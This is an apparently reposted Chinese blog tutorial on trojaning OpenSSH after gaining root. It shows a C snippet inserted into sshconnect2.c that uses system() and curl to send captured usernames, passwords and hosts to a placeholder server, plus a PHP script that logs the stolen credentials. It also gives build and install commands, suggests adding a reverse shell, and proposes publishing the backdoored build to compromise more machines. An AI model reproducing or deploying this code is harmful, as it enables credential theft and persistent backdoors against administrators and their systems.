利用OPENSSH自身记录密码 - 杀死比特
2016-1-5 12:22:0 Author: www.cnblogs.com(查看原文) 阅读量:13 收藏

大家都知道,OPENSSH是基于Linux下,一款开源,安全性不错的Linux SSH会话连接工具。

在渗透当中,当我们get root了。我们如何来记录Linux管理员登陆过的SSH?

想法如下:

1:更改OPENSSH源代码,记录到某个地方。

2:在更改源代码的前提下,将OPENSSH 记录到的账户密码POST/GET/传输到某个地方。

3:更改OPENSSH源代码,对内网进行扫描。将获得的账户密码,在Linux机器OPENSSH连接进行比对。如果成功就发送,如果失败就PASS。

4:如何获得更多的Linux肉鸡? 更改OPENSSH源代码,写成后门,然后发布。

测试中截图如下:

我们分析OPENSSH连接过程,然后找到可更改代码的地方,截取USERNAME和PASSWORD:

之后我们重新编译OPENSSH,事前需要看好版本,不过一般管理员对OPENSSH版本不会重视把?

如果管理员连接的OPENSSH:

我们将记录到密码。

-----------------------------------------------------------------------

如果你觉得这样达不到你的目的。

咱们可以加个反向连接shell,管理员每次一连接,就反向到你那儿去。或者一直把shell 反向都处于连接的状态。

------------------------------------------------------------------

也可以直接CURL到咱们的地方。

接受:

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['Host'];

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("log.txt","a+");
        $result = "Username:.$username--->:Password:$password----->:Host:$host";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>

POST:

        char szres[1024] = {0};
        memset(szres,0,sizeof(szres));
        snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"userName=%s&password=%s&Host=%s\" http://xxxxxx/xx.php >null",options.user,pass,get_remote_ipaddr());
        printf("Szres = %s.\r\n",szres);
        system(szres);
        

写的很仓促,代码路径这块没有经过判断之类的。毕竟我是以渗透出路的,代码写的很烂,还请见谅。

大概具体就是这样了,如果你觉得你已经知道了这个方法,或者你根本用不到。还请别打我。

刚才忘记说了,更改文件代码的文件名字是:

sshconnect2.c  //只要有认证的地方都可以改。

编译SSH命令如下:

./configure --prefix=/usr --sysconfdir=/etc/ssh

make ; make install

然后直接SSH命令用即可。


文章来源: https://www.cnblogs.com/killbit/p/5101928.html
如有侵权请联系:admin#unsafe.sh